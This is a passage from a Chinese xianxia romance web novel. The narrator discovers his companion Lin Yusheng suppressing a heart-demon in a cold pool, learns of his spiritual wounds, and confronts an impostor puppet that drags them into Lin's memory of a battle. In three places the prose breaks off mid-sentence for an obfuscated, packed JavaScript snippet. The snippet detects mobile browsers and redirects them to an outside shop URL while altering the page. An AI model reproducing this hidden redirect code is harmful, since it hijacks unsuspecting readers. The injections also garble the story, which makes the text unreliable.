据他说,这是他们族中一位火系前辈当年树时候结出来的一颗灵核,能吸收寒气。我想起来下山前一两日林玉声睡觉不大安稳,又顺手敲了点安神的香囊。 ——他总说没关系,正好夜里看书。我不知道他每日花很多时间看的书到底是什么,只知道他近来好像很高兴。我问他,他也不说,只是很神秘地讲,他一直想做的事情也许就能做成了。 总之我给鸣琅和风晴他们看那枚赤色灵核:“你们觉得这个管不管用?” 鸣琅没接话,风晴仔细看了看:“是好东西。” “就这样你还顺着他,给他那些典籍功法,”鸣琅对风晴道,“我看这小子已经完全陷进去了。” 风晴耸耸肩,没说话。 我在西山统共待了没几日,就一路赶往六百里之外的彬州,到城中的时候正是天色刚刚擦黑的时候。我花了半个时辰,买了林玉声提起来过的花神香囊,又顺手买了几个亮晶晶的镯子和一盒点心。糕点各自雕成各式花卉的样子,很精巧,我觉得林玉声会喜欢。 这地方的确很热闹,明明是寒冬时节,却让熙攘烛火照得有如春日,花灯香尘盈路,我跟着人群往前走,准备再找一找有没有旁的有趣玩意。 绢花看着不太精致,算了。 璎珞样式挺新鲜,摊主说什么梅花方胜,我也分不出来,索性几个样式都买下来好了。林玉声最近很喜欢隔几个时辰就换一次剑穗。 拳头大小的灯笼上面画着各色花卉,我挑了林玉声喜欢的几样,桃花、海棠、兰草之类。 这样一路看一路买,我没顾得上往乾坤袋里面放,手上提着满满当当的东西。卖灯笼的老板一边包起来一边看我:“这么多东西,给别人买的吧?” 我正在想林玉声见了这些东西会是什么神情。见我点头,她又笑:“前面的仙人梅都说可灵呢,好多人都到那里求姻缘,小郎君不如也去看看吧。” 我以前其实从来对这些求姻缘求子嗣的说法非常不屑一顾。现在我只觉得我以前还真是挺装。 按着老板指的方向,往前走了几十步,我果然见到围了一圈人。越过人群,我看见里面是一株红梅花,花瓣上有薄薄的冰霜晶莹。枝条上系着许多一寸长的红布条,迎着晚风招展。 我没打算真指望这么一棵梅花树。但我还是念着林玉声的名字、想着林玉声的样子,学着旁人,把红布绸子和满树红色热热闹闹地系在一起。 有所念所求的时候,我想,真真假假也不那么重要了。讨个彩头也是好的。 毕竟林玉声是那样好的人,怎么就会喜欢我呢?我到现在也觉得很不真实。总之我把能做的都做了,总不会出错的。 我系好,问方才给我红布的老妇人:“这‘仙人梅’是什么来历?” 她颠三倒四地讲了很多,其实就是很简单的故事。很久很久之前的某一年花神节,有仙长来此地游玩,恰好遇见妖魔作乱便出手平定。这位小仙长救了城中的人,医了路过的猫狗,见一旁的梅花摧折,也生了怜惜之心,挥一挥手,沾了魔气的败枝便作新芽。 我觉得这人听起来仿佛有点熟悉,下意识问她:“这人叫什么?” “都是一百多年之前的事情了。”老妇摇摇头,“也没人知道他到底是谁。好多人说他是什么……对,那什么‘宗门’里面降妖除魔的仙长。也有人说他真的是神仙下来……” 她说到这里停了一停,又递出去两根红布条,数了数收来的铜板:“我祖姑就这么说,她最爱凑热闹了,当时离得也近,好险呢……噢,祖姑说了,她当时远远看见了一眼,那个人一看就不是普通人,生得比梅花还艳许多。他用的剑也和别人都不一样,比冰比霜还透亮呢。” 透亮的长剑。我心下忽然一动:“当真……当真吗?” “谁知道真的假的,但是这梅花树的确和其他的树都不一样……老婆子小时候就有这棵树了,这么些年了,还长得这样好。”她摇摇头,“老婆子就指着它吃饭喽。” 她的话隐没在来来往往的熙熙攘攘之中,我方才系上去的那根红布条也在晚风之中翻卷。我看着它,说不出话来。 一棵梅花树当然指望不了。但如果我是对着林玉声留下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921820|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅花树,求林玉声的姻缘,我想,也许就不好说灵不灵了。 林玉声会答应我提出来的所有事情。他留下来的树想来也是会的。 会的吧? 我听着夜风在耳边呼啸,脚下的城镇在黑夜中模糊成一个小点。一个愉快的小点。 原本我和林玉声说的是明日早上回流玉峰。但这些天一鼓作气昼夜不分地赶路,我在中夜之前就可以回去——我一个时辰就可以回到流玉峰,就可以见到林玉声。至少我今夜不用求什么梅花树。我只消向他本人讨姻缘。 我两日没见到林玉声了。林玉声两日没见到我了。 遥遥地看见青云宗的山门,我加了几分速度。流玉峰的影子已经现出来了。 我把方才买的那些东西找出来,捧着它们穿过竹林,脚步不由得越发加快。林玉声见到我提早回来,又见到这么些东西,肯定会很高兴,眼睛亮亮的。 他会牵住我的手,很高兴地对着那堆东西翻来拣去,问我这个问我那个。我要就着烛火看他很久很久。 ——想不得这些。我只想一想就觉得心下轻盈得不像话。 我兴冲冲地出了竹林,推开了门,却愣了一下。 屋子里面安安静静的。我转了一圈,都没有见到林玉声。林玉声喜欢亮堂,入了夜是一定要点灯的,还常常忘了熄灯。但此刻殿内殿外都只笼在昏昏月色之中,寂静得过分。 这不对劲! 我心下猛然一沉,随手放下东西,转身快步出去。 洞府不见他人。竹林不见他人。望云崖不见他人。 寻过一个地方,我更慌乱一分。绕过望云崖是见底潭,要是再见不到他…… 我一下子顿住脚步。潭中有人! 只看一眼便是林玉声。他长发垂散,正背对着我,肩膀以下整个人都浸在水中。 寒潭周围空气都像冰。林玉声怎么能在这种地方? 我顾不得多想,快步上前。他原本一动不动,听见声音猛然回头,见到是我的一刻,眉眼凛冽之意消下去一分,皱着眉:“你怎么……怎么回来了。” 他面色白得过分,咬破的嘴唇却鲜艳,发上睫毛上都结了层霜,在我碰到他的前一刻往后退了一退,带起一阵水声。 我听见他声音也在克制不住地发颤,在水声中几乎听不清:“别动。” 这根本不是正常的修行。他在干什么! 我跪坐在岸边,看着他的样子,胸膛止不住地剧烈起伏:“你在这里……在这里干什么?你……” 和他视线对上的一刻,我忽然止住话头。 林玉声墨玉点漆一样的眼睛,此刻瞳孔深处隐隐地泛着一点红光。 ——我不知道这是什么。看到那两丛红光的一瞬间,我脑海中忽然嗡鸣作响,碎裂的日月与尖锐的呐喊一下子涌上来,震得发痛。 “闻鄢?” 林玉声握住我的手腕,胜过冰雪的寒意让我一霎清醒过来。他眼底红光已经不见了,又是平时的样子。 “出去。” 他松了手,又往后退,语气是不容分说。 “到望云崖上等我。” 望云崖和流玉峰顶其他地方一样,仿佛没有四季,总有雾气缭绕,清寒阵阵。但和见底潭凉到碰一下就发痛的潭水比起来,什么都算不上。 我靠着山石站着,蹲着,又站着,牙齿不住地打战。 林玉声最怕冷了,吹一点冷风都会翻来覆去很久。他到底在干什么? 我闭上眼就是他方才的样子,苍白冰凉得像个影子,冻得几乎忍耐不住。我不敢想,又忍不住想,指甲嵌到掌心里面,又靠着山石蹲下去。 不知过了多久,我才听见一点水声,忙站起来绕过去,见湿透的林玉声拄着剑慢慢走过来。 我只来得及在他倒地之前接住他。潭水顺着他的头发滴到我的颈间,凉得灼人。 14. 一个两个很多个秘密 林玉声是第二日早上醒来的,第一件事便是找我。 我一直坐在旁边,忙按住他的手:“我在这儿呢……你怎么样?冷不冷?” 林玉声恍惚了一瞬,神态便和平时没什么两样,自己要坐起来:“没什么事。好着呢。” 骗谁呢? 我还记得他昨日的样子。他趴在我背上,分明不太清醒,还在断断续续地说话,一会儿问我怎么提早回来了,一会儿说自己没大碍,一会儿又抓着我的衣襟,很小声地说好冷。 给他输进去的灵力与暖身的法术都如同火星子溅入雪水,他看起来还是冻得不成样子。 “不冷了,马上就到了。”我加快了些脚步,把刚才披在他身上的外衫又裹紧一点,低声哄他,“马上就回去了……” 林玉声迷迷糊糊地应了一声,又不说话了,垂下来的手指一下一下地点在我胸前。至于我把他捂进被褥、喂他热茶与丹药、给他输灵力、手忙脚乱地把火灵核戴在他颈间这些事,他大概一并不知了。 他那时只是蹙着眉,偶尔昏昏沉沉间看我一眼,很小声地叫我的名字,不知过了多久才恢复了一点温度,昏昏沉沉地睡过去,却并不安稳,蹙着眉似乎一直半梦半醒。 这会儿林玉声说自己“没什么事”,面色分明还是苍白的,长发顺着垂下来,像平常一样眉眼间带着很浅的笑色看我。 他抚上我的脸侧,轻轻说:“是不是吓着你了?” 我点点头又摇摇头,扶着他靠坐在榻上,又握住他停在我脸侧的手,感觉到他皮肤上的寒气散去了不少。我问他:“你怎么到寒潭里面了。” 林玉声顿了一下,笑道:“没什么——那潭水能清净心神,修炼罢了。” 我盯着他:“你当我也是蠢材吗?” 昨夜看着他的时候,我想起来,我之前出去有几次回来,见林玉声也是一幅寒气入体的样子。他那时候说自己贪看月亮,在外面站得久了。 他不是第一次这样了。他那时候是自己如何捱过的呢? 林玉声被我看了片刻,似乎很无奈地叹气:“不想告诉你的——从前修炼出了岔子,生出来一点心魔,隔段时日需要这样压制一下。” 心魔?他这样的人,能有什么心魔? “好了。”他眨着眼睛,似乎很委屈地看我,“我都告诉你了,不许再盘问我了。” 我想问他,见他这样的神色,又说不出来了。 好吧。他眼下不想说,就等他好一些了再说也罢。 于是我不说话了,握住他的手,放出一点灵力查探他体内情况。好在我当初因为自己日日打架,和青婉学过一点东西。 我搞不懂他这个人。明明把自己搞成这个样子,他竟然看起来还很高兴,问他到底怎么了也不肯说,只神神叨叨地说什么天机不可泄露。 他最近似乎一直是这样。我问他,他就总是轻巧地跳过去这个话题,眼下又是这样。 “这是什么?” 他低头,捏起来坠在颈间的那枚火灵核,偏着头看。 “木妖主给我的东西,本来想看看对你的寒症有没有用。”我把他散落到襟前的头发捋回去,“照你这么个泡法,想来十个这东西也起不了多大用处。” 林玉声闻言就目光挑起来看我一眼,语气拖得轻而长:“你又在怪我。” 他眼□□内似乎还算平稳。我闭了闭眼,按捺下心头的那一点躁动,努力放平语气:“少这样。我现在不吃这一套了。” 眼下我且顺着他,但这事总要说清楚的。他别想就这么糊弄过去。 林玉声低低地哦了一声,不说话了,自己安安静静地垂了眼睛靠回去。我明知道他这个人就这样,惯会装模作样,但眼下见他这个样子,又坐不住了。 他才受了那样大的苦头。就事论事,瞒我的事情等一等再说。 我去拉他的手,给他看昨夜被我慌乱中随手扔在桌上的东西。我拿过来那几个很精巧的香囊,缓和了语气:“你看看这个,喜不喜欢?” 林玉声看我一眼,接过去,指尖绕着香囊垂下来的流苏,没说话。我怕他还在生气,探过头去看他的眼睛,正好对上他笑着的眉眼。 他说:“只有这个吗?” 我去煮茶换香拿替换衣服的时候,直接把装东西的乾坤囊都给林玉声,让他自己慢慢翻。 做事的时候我总觉得自己忘了什么东西,直到端着托盘转回他寝殿的时候,才猛然想起来。 他披了大氅,盘着腿坐在榻上,旁边乱七八糟堆着我买回来的那些东西,正兴致勃勃地自己低头看话本子,不太好拿出去的封面上赫然是流玉秘史几个字。 ……把这茬忘了。本来打算过两日再拿给他的。 见我进来,林玉声抬头,嘴角有点压不下去:“你,嗯,你这是……哪买的?” 我没回答他,只问他:“好看吗?” 林玉声终于忍不住了,攥着书整个人埋头笑得发颤。我端了茶杯和花酥坐在榻边,等着他笑完了来喝他的敬亭绿雪。 “你买回来……你看过吗?”他似乎笑够了,抬起头来,扬了扬手里的书,只是说话间还带着笑音,“这真是……写得还挺精彩。” 我想起来我看过的那一段。是挺惊吓的。 他伸手要茶,我往后端了端:“等一会儿,仔细呛着——你喜欢看正好,这东西还有好几卷,到时候找你徒弟要。” 林玉声一顿:“照川?照川……怎么也看过这东西?” “看过一点。”我见他笑不出来了,假意安慰他,“她只是都买下来了而已,她不会仔细看的。” 林玉声大概还是有点在意自己在徒弟面前的形象的,听了这话就愣住了,慢慢地眨着眼睛,睫毛的影子细细地颤着,一副困惑的样子。我没忍住,伸手摸他的脸侧。 我故意说:“她要是看了也好,也省的你还要再告诉她,我跟你不是普通朋友呢。” “这能一样吗?”他皱眉,“就不能、不能是体面一点的方式吗?就算关系是一样的,我跟你也不是这书上写的这样……这也太……” 好吧。能让林玉声都说出来这样的话,看来里面还有更多我不知道的精彩内容。 ……我还是别知道了。 “行了,她买来是销毁的……她才不敢看这个呢。”我和他讲了柳新词的事情,看了看他,又补上一句,“她应该比你正经很多。” 林玉声很有自知之明,听了这话也没反驳,只是稍微松了一口气。我端了盘子,问他:“你要哪个?” 他看见那些精巧的花酥果然很高兴,挑了片刻捏了桃花酥,掰开来露出来里面的红豆:“我记得这个是最好吃的——你尝一尝?” 我其实对吃食没什么偏好,也不觉得有什么很好吃。但是林玉声递到我嘴边的东西,管它是什么呢。 我就着他的手尝了一点,忽然想起来一件事。 学着风晴的样子,我低了眉眼,忍着酸水小声道:“这样熟练……你总是这样喂旁人吗?” 我其实意有所指。就算林玉声说了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921821|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他喜欢我和喜欢旁人都不一样,但说不介怀他那些画那肯定是假的——他对那个跟我长得很像的东西,会不会也是这样? 我就说还是得学点东西。无所谓,我会又争又抢。 “怎么可能——连照川小时候,我都没这样过。” 他大概不知道我想起来了什么,很坦然地这样说。我放下心来,又见林玉声不知道想起来了什么,开始笑,笑得发颤。 “你这是,”我有点狐疑地看他,“笑什么呢?” 林玉声不说话,低着头把书翻得哗啦哗啦响,找到一页举到我眼前让我看。 这一回说的是我刚被强行带上流玉峰,对周围生分得很,吃食也不敢吃水也不敢喝,被流玉峰主按在怀里喂点心的故事。 “怎么,”林玉声忍着笑对着话本子一字一句地念出来,“偏要本尊喂才肯吃吗?张嘴,不然本尊……” “……” 我瞥了一眼,无感情地照着念:“峰主自重,您到底想怎么样。” 他笑得念不下去了,还要学着里面的样子按住我的后背。我下意识地皱一皱眉。 前几日到西山揍人的时候和往常一样留了几处伤,不怎么碍事,需要些时日自己长好罢了。林玉声按的地方倒正好是其中一处,被血魔打穿了过去。 林玉声一下子收了笑色,坐直身子,在我侧过身子之前把我拉了回去,指尖在那里点了几下:“怎么回事?” 我说:“小伤。只是……” 我看见他脸色不知为何一下子变得很难看,止住话头:“你怎么了?” 不至于吧? 打架留点伤是常事,我从前觉得没什么大不了的。伤好了我只会更加兴冲冲地出去打架。但是来流玉峰之后,林玉声每次都会把我按在那里上药,下手轻而仔细,说我“从头到脚都是莽劲”。 我觉得他应该是在夸我。 头几次林玉声给我上药,我只是觉得有些难为情,但也没觉出其他的什么。后来我便不肯他再给我上药了,硬是养成了自己仔细处理伤处的习惯。 林玉声那时以为我是学会他说的“爱惜自己”了,很满意。我也没办法告诉他,我这样做的原因只有一个——赤着上身坐在他面前,我实在道心不稳,恐怕要走火入魔。 其实我现在也觉得这些伤没什么大不了。但我也知道一件事——林玉声不这么觉得,甚至我头一次挂了伤回来,林玉声上药的时候吓得手都在抖。后来慢慢地才好一些。 虽然我不知道这点小伤怎么能把他吓成这个样子,但是他很在乎,所以我也应该在乎一些。 我现在每次都会耐着性子把伤口处理好。这次的确对我而言就是小伤,怎么忽然把林玉声又吓成这个样子了呢? 他闭了闭眼睛,又叹气看我,说话时声音有点颤:“上药了吗?” “上了。”我有点心虚,把滑下去的大氅给他重新披好,“你说的话我都记着呢。” 林玉声板着脸把我检查一遍:“既然有伤,怎么还那么老远到彬州去?又这样赶路……” 我说:“我若是不这样赶路,还抓不到你泡寒潭。你现在想解释吗?” “……” 这事我们两个做得都不好。即便是各有难处,我想,我们总该慢慢学着坦诚相待。 但我还没来得及开口,就见林玉声摇摇头。他不知道从哪里学到了新的词,说:“什么锅配什么盖。” 我张了张嘴,又闭上。沉默一会儿,我才说:“你最近,话本子是不是看太多了?” 15. 冒牌货 林玉声细细看了两遍之后,终于舍得放下那本流玉秘史,看一看其他几个正经挑出来的话本杂记方志了。 他对我一直都很亲近,但最近他不知道为何,格外喜欢待在我旁边。甚至有时候我做其他事的时候都能感觉到,只要不是翻他那些书的时候,他的视线就扯不断一样,很愉悦地黏在我身上,我看他,他就若无其事地收回目光去。 我有些高兴不起来。我觉得最近我修为不知为何开始涨得比之前慢,在他面前又不好露出来。 但是这个之后再说。我把殿内殿外都安排好,确认他一时半会儿不会找我做什么,寻了个由头下山到藏书阁。林玉声给过我令牌,青云宗里面他能进的地方我都能进。 这不好,我想。对我就算了,若是对旁人,他还是应该有一点防人之心。 藏书阁二层是放宗门卷宗的地方,除了最里面收重要卷宗的几个屋子,其他的地方我能直接进。 鸣琅说过从时间上来推断,林玉声的异样或许和当年放鹿山镇压堕仙人一战有关。我跟值守的弟子花了半个时辰,把里面可能有关的案卷都找了出来。 关于堕仙人一役,这些能随便看的卷宗里面记载并不多,只隐约提到青云宗千里防线早期尚能抵抗,但在原本的流玉峰主、林玉声的师尊归元真人等人陨落之后节节败退,直至林玉声在放鹿山将其彻底镇压。 归元真人等人为何陨落、千里防线上到底是怎么样的境况、林玉声又是如何与堕仙人厮杀,里面并没有提到。总共一页纸的文绉绉的记载里面一半都是讲当时的指挥者、而今的几位太上长老如何在千里之外的后方运筹帷幄。 青婉很早就和我说过,字不是用笔与墨写的。字是用权力写的。她说这话的时候,指间斜斜夹着笔,似笑非笑的瞳孔里面跳着丛烛火。 我只好试图在其他记载里面拼凑出来一点当时的情况。 朝露峰在放鹿山一战后的确有十几条给流玉峰送丹药的记载,大多是驱寒的或是静神的,量越加越大,差不多十年之后便不再有什么记载了。 流玉峰在堕仙人作乱之初的时间,账簿上的日常用度便明显缩减了一回,在放鹿山一战之后的几个月,忽然又缩减了一多半,此后便不怎么变了。 ——中间只有某个月写了一笔很大的灵石支出,批着的是给太上长老洞府之用,数额之大不像是修洞府,倒像是重建洞府。但这一行又被勾掉了,并没有落印,大概是没花出去。我觉得勾掉的那一横力透纸背,有点眼熟。 神兵峰对明漪的保养淬炼记录,在放鹿山一战之后也和之前很大不同,成了很规律的三个月一次,好像林玉声在一定的时间就会和人打架磨损剑一样——他在流玉峰上面能和谁打? 琐碎的千头万绪这样聚在一起,我好像颇有收获,又好像一无所获。 当年之事到底是怎样的呢? 我回到流玉峰的时候正好给殿里面添香。林玉声很听话地裹着大氅抱着手炉,像往常一样翻着手里的古书,放了笔从案边抬起头来看我:“你去哪了?” “藏书阁。”我想了想,还是不打算瞒他,点上烛火,“去查你了。” “查我?” 他偏了头,簪子上面垂下来的青玉珠落在肩上,亮晶晶的——他这个人就是爱讲究,面色还没恢复如常也折腾着要像平常一样梳妆。我没办法,上午的时候只好就跪坐在榻上,给他把垂到榻间的头发慢慢梳好,在满匣子亮晶晶里面找出来他要的发簪。 “你查出什么来了?” 我说:“查出来你们青云宗的太上长老不是什么好东西了。” 林玉声愣了片刻,笑出声来:“那你还真是,嗯,查到真东西了。” 我看着他,没说话,在他旁边坐下,轻轻地、慢慢地握住他的手。火灵核好像还是有一点用处的,他指尖似乎沾上了一点温度。 “你这样不是一日两日了,”我看着他的眼睛,“从放鹿山一战之后就是这样,朝露峰也早就没有办法,是不是?” 林玉声渐渐地收了笑色。我还是没忍住,抬手很轻地抚上他的脸侧:“如果……如果你知道什么方法,你告诉我,好不好?” 只要他开口,我什么都会做的。 林玉声只是看着我——在摇曳的烛影里面几乎是无奈地看着我。良久他才很轻地笑了一声,眼睛里面灯火粼粼。 “说什么呢。”他眉眼弯起来,“种其因,食其果。” 他又是这个样子。坦然的、不由分说的、无可转移的。 “是因为,”我顿了顿,“是因为诛灭仙人?” 林玉声点点头,我贴近他,捧着他的脸问他:“只是泡寒潭水和不出流玉峰吗?” “不是。”他与我几乎鼻尖碰着鼻尖,声音也压低,“你要听实话吗?” 我嗯了一声,他笑着叹口气,睫毛落下长长的、轻轻颤着的影子。 “心魔纠缠,神魂撕裂。”他平静道,“大抵再过千百年,修为也就是这样子了。” 他说出来,似乎很轻地松了一口气。 我呼吸一滞,而后开始控制不住地发抖。我第一次知道一句话也能像最锋利的剑刃。 我想不到。谁能想得到呢?谁敢想得到呢?林玉声总是温和的、鲜活的,像一捧愉悦的月光。 “你怎么……” “不算什么。”他声音很低,“这都不算什么。” 一捧桃花雾气一样地,他靠在我的肩上。我按住他不那么紧绷的、松懈下来一点的脊背,忽然发觉他原来是这样信我、依赖我,能把藏起来不示人的伤口与锋锐的本性都坦然地剖给我看,以一种很放松的姿态。 我恍恍惚惚地意识到,也许再过些时日,他就会真的像我渴盼的那样,不隔着任何旁人地爱着我。只要再多一些时日。 但我说不出话来,只是一遍遍念他的名字,听他一遍一遍地应着。他在这一点上为什么和我那么像?为了想做的事什么都不管不顾。 对上他近在咫尺的眼睛,我第一次意识到,爱人原是一件痛事。我却于这痛事中无可自抑地更爱他。 “没办法我也要找出办法来的。”我告诉他,“我找十年、找一百年,总能找出来的。” 他听了这话愣了一下,忽然笑了,抬眼看我。 “也许这次真能像你说的这样呢。”他小声说,“十年、一百年、一千年地待下去。” 我不明白他说什么“这次”。但他似乎不想说下去了。 林玉声白日里装得没什么毛病的样子,夜间还是睡得不安稳,一直蹙着眉,好像在做什么梦。分明很怕冷的人,却额角一直细细密密地沁着汗。我擦了,停不了半个时辰便又渗出来。 按照他的说法,这心魔是从放鹿山一战之后就一直有的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921822|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但我之前从未发现。他最近为什么格外地神魂不安呢? 明漪在一旁似乎也不太安定,我时不时听见轻轻的翻动声,转头看见明漪荧荧地泛着绿光。这是它作战时候的样子。 我看了眼林玉声,见他没被惊醒,略微松了口气,轻轻带了明漪出去。外面只有一豆烛火,纱幔影子模模糊糊。我低声问它:“你怎么了?” 它这几天似乎比平时更好动,我一开始没怎么在意,眼下想起来林玉声的异样,才觉得它也有点奇怪。 明漪跟我还是没法直接沟通,我里外看了一遍,觉不出来什么问题。这会儿也不好带着它上神兵峰,只好试着用些安抚的法术,看它的样子猜:“你不舒服?” 剑身前后晃了晃,我知道它这是应答。我想一想:“你是哪里磕到了?哪里没擦干净?沾上什么东西了?” 能想到的东西我全都问了一遍,明漪一直都是很大幅度地左右摇了摇。我又努力想了想:“是不是见林玉声这样,你担心他?” 我说完,看见明漪在空中顿了顿,应该是在思考,停了一会儿,好像不太确定似的,轻轻前后晃一晃。 好吧。 我轻声和它讲:“他在休息,动静大了容易吵醒他。明日我带你去神兵峰让何一水看看。” 明漪又晃一晃,自己连房间也不进了,直接在屋外的案上落下来,不像方才那样来回翻动了,只是还是一样泛着绿光。 我拍拍它,听见房间内有动静,进去就看见林玉声才坐起来,苍白面色将眉眼衬得更加鲜明。 “怎么了?” 我快步过去,扶住他。林玉声蹙着眉片刻,抬了目光看我:“外面有没有什么情况?” 殿内殿外都很安静,我正要摇头,忽然觉出空气中极细微的一点波动。林玉声已经立刻掀了被子下床,随手披了衣服便召来明漪,我立刻提剑跟上去。 跟着他穿过昏昏大殿,我心下隐隐不安。这点不安在看清殿外景象的一瞬间爆发开来。 竹林中有人,踏着昏昏月色朝我们走过来,朦胧之间身形竟然有几分熟悉。我下意识地拔剑出鞘,看着旁边愣了一下的林玉声,心下忽然颤颤巍巍地浮出一个猜测。 难道是那个人? 他从竹林中慢慢地走到月色映照处,我看清他的一瞬间,剑尖忽而抖了一瞬。 “怎么……” 林玉声的声音从我背后传来,我不可思议地看着对面与我六分相像的脸。他黑发垂落,微微地打着卷,肩头羽毛银亮,似笑非笑地看过来。 可恶的脸,可恶的头发,连带着身上的气味都可恶。林玉声身上有香气是应该的,他算什么东西,弄成这个味道是打算熏着谁! 再说了,不是说魂飞魄散了吗?怎么爬回来的?怎么偏偏在这时候爬回来? 血液好像一瞬都倒流,我混乱间想起来流玉峰有结界,林玉声不想放进来的人不可能进得来。 那他…… 我猛然转头,见林玉声微微蹙着眉,却是目光一动不动,越过我看着他。 “林玉声,见到我高不高兴?”他好整以暇地开了口,又瞥了我一眼,目光里面方才的笑色全都散干净,只余下半分不加掩饰的嫌恶,“这是谁?” 林玉声不说话,我转过头,仍然持剑逼向他的方向,他忽而笑了:“我知道了。莫不是……你找的冒牌货?” 16. 心魔 “玉声,我一去这样久,是我不好。”他慢慢走近两步,“你找来他……我不怪你。” 去他的冒牌货! 我浑身发热,正要提剑上去,却被林玉声拉住。在外面这么久,他指尖竟然还是热的。 “别冲动。” 他紧紧握住我的手腕,沉默着看向对面神色莫名的人。 不知道是不是我的错觉,他气息比平时紊乱,我看见他白皙颈侧不知道什么时候爬上去了淡淡的红色。 我直觉地觉得哪里不太对。我原以为自己浑身燥热是气昏了头,但此刻体内翻腾的燥热古怪中透着熟悉。只是对面一说话我的思考就被打断了。 “玉声,他要杀我,”对面那东西又开口,“你也不管吗?” 装,接着装。我要是看不出来他在装,我都对不起我学过的狐族典籍。身上那个难闻的香味也有点熟悉,是不是也是什么拿来勾引人的东西? “林玉声,”我扯他的袖子,学着风晴的样子,“我、我什么时候要把他怎么样了……在外面这么久,你该冷了。我们回去再说,好不好?” 虽然说这话的时候,我根本没把剑放下来。 不是说已经魂飞魄散了吗?现在又回来碍眼干什么?他没发现他在这里很多余吗? “他半夜鬼鬼祟祟上流玉峰,”我同林玉声讲,“要不是没安什么好心,他就不能光明正大地来?你小心一点……” “轮得着你管这些?”他看向林玉声,笑了一笑,“玉声,你告诉他,我们从前像这样的半夜幽会过多少次,去过多少地方,做过多少事,嗯?” 真想让他再魂飞魄散一次! 林玉声蹙着眉,看看我又看看对面,拍拍我的手背,竟然朝那东西招手:“你过来。” 他听了这话就很得意,看了我一眼,快步朝林玉声走过来,竟然敢去牵林玉声的另一只手,被我眼疾手快地拍开。 那东西表情难看了一瞬,又笑了:“冒牌货,心虚了?你知道我是……” 他话没说完,眼睛乍然睁大,看向刺穿他腹部的透明长剑。我也是一愣。 林玉声收了明漪回来,面无表情地看着面前人倒下,片刻之后成了一具木偶,露出来腹部被损毁的机关。 “这是……” “木傀儡。”林玉声还在低头看地上的木偶,“用了幻术。” 他说完,顿了一顿:“手法很高明,是高手所为,我方才也不知道——但是既然你在这里,这就一定是假的。” 这跟我有什么关系? 我正准备问他,却忽然瞥见木傀儡胸口一动,电光石火间立刻揽住林玉声往旁边闪开,挡在他身前紧紧掩住他口鼻。 我总觉得木傀儡身上有股香气,原来里面有这样多的药粉! 怪不得我方才也总觉得体内发热,还以为是一时冲昏了头脑。 隔着袖子,我也能闻见空气中蔓延开来的比方才浓烈数倍的味道。林玉声还能撑着动作如常,但他的视线此刻飘忽不定,面色已经是绯红了。 这到底是什么药粉,连对他这样的高阶修士都能有这样的效果! 我撑着一点理智,揽着林玉声用最快的速度回了殿内,合上门放了结界,才终于敢就地坐下,松开他,摇一摇他,叫他名字。 林玉声嗯了一声,半醒未醒一样,额头靠在我的肩头。 不对。不对。 我比他吸入的药粉一定要多,但此刻还能有神智。林玉声再怎么样也才泡过寒潭水压制心魔,修为又比我深,这东西对林玉声的作用怎么会这样明显? 还有什么。一定还有什么我没有发现。 我这样问林玉声,他没说话,手臂还环在我的脖子上,偏着头看我。我把眼前浮上来的幻觉强行压下去,看清面前景象,觉得他的神色不是很对,试探着叫他:“林玉声?” 他嗯了一声,由着我帮他运转清心诀,视线一动不动地盯着我。 麻烦了。他这个样子,看起来已经魇住了。 “林玉声?”我晃一晃他,探了灵力进去,试图理顺他体内紊乱暴走的气息,“我是谁?” 林玉声盯着我片刻,嘴角忽然扯开一个很轻的笑。 “怎么总是这种时候才肯见我?”他松开环着我脖子的手臂,摸索到明漪,另一只手摸着我的侧脸,轻声道,“我都梦不到你——每次只有这时候,我才一定能见到你。” 我听了他奇怪的话,心下一惊,还未开口,却忽然发现周围景色竟然全都变了。 我们不是在昏暗幽寂的流玉殿里面。周围草木枯萎、遍地焦黑,血色浓云盖住了日月,低低压着山顶,狂风夹杂着沙砾,雷声阵阵。 我一愣,而后猛然反应过来——高阶修士能将旁人卷入自己的识海之中,见自己此刻心中所见。我在不太清醒间,被完全不清醒的林玉声卷入了他的识海! 如果是林玉声的识海,林玉声的心魔…… 背后雷鸣阵阵,我转头,见山上还有一人,形容狼狈,周身却仍然光华缭绕,似笑非笑地站在远处,压迫感气浪一样翻卷过来,我要顶着巨大的压力才能看他一眼。 我忽然有一种很熟悉的感觉,想要细究却一闪而过。我只能意识到,这是放鹿山,对面的就是传闻之中的堕仙人。 我为什么能意识到这一点? 顾不得考虑这些了。明明就近在咫尺,林玉声说完那奇怪的几句话,却好像又看不见我一样,剑尖在地上一撑便背对着我站起来,指向对面,衣袖猎猎。 堕仙人的声音水波一样翻涌过来,在一方天地间回响:“还没尝够这种滋味么?所有人都退了,只剩你自己了……” 